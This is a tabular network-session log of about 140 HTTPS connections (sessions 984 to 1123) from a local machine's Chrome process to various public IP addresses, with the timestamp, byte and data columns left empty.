Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.4	51015	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.4	50884	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.4	50931	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.4	50916	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.4	50915	124.146.153.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.4	50968	35.186.193.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.4	50973	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.4	50969	195.5.165.20	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.4	50923	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.4	50945	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.4	50950	54.156.21.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.4	50912	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.4	50920	52.6.5.199	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.4	50908	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.4	50972	51.222.105.60	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.4	50953	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.4	50974	3.209.218.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.4	51024	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.4	51027	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.4	50874	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.4	50897	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.4	51021	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.4	50955	162.55.120.196	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.4	51010	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.4	51023	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.4	51025	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.4	51036	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.4	51031	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.4	51046	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.4	51038	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.4	51030	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.4	51032	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.4	51121	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.4	51084	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.4	51090	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.4	51045	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.4	51132	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.4	51029	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.4	51086	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.4	51095	51.222.39.187	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.4	51051	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.4	51129	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.4	51104	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.4	51073	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.4	51080	68.67.179.153	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.4	51164	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.4	51125	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.4	51028	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.4	51156	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.4	51041	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.4	51058	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.4	51043	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.4	51037	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.4	51074	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.4	51042	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.4	51087	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.4	51105	23.105.12.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.4	51083	35.207.24.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.4	51040	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.4	51049	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.4	51035	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.4	51076	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.4	51134	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.4	51128	34.205.236.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.4	51138	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.4	51135	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.4	51142	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.4	51110	69.90.254.78	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.4	51143	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.4	51082	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.4	51056	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.4	51123	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.4	51072	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.4	51098	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.4	51048	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.4	51131	13.249.39.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.4	51130	3.225.135.34	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.4	51116	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.4	51127	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.4	51137	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.4	51126	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.4	51103	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.4	51124	8.2.110.134	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.4	51020	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.4	51081	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.4	51065	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.4	51119	54.144.215.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.4	51057	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.4	51152	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.4	51079	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.4	51097	23.105.12.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.4	51060	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.4	51115	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.4	51183	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.4	51154	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.4	51093	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.4	51101	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.4	51114	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.4	51063	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.4	51118	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.4	51155	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.4	51109	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.4	51117	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.4	51100	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.4	51070	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.4	51062	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.4	51066	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.4	51039	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.4	51067	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.4	51075	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.4	51071	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.4	51159	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.4	51151	172.240.127.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.4	51059	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.4	51088	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.4	51178	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.4	51113	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.4	51215	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.4	51089	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.4	51176	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.4	51161	195.5.165.20	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.4	51078	35.166.23.142	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.4	51064	35.166.23.142	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.4	51091	35.166.23.142	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.4	51085	35.166.23.142	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.4	51158	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.4	51140	34.197.146.88	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.4	51141	34.197.146.88	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.4	51053	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.4	51055	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.4	51054	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.4	51136	5.161.124.197	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.4	51175	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.4	51160	54.156.21.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.4	51077	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.4	51112	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.4	51163	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.4	51144	23.45.148.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.4	51153	47.253.61.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.4	51052	52.0.59.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

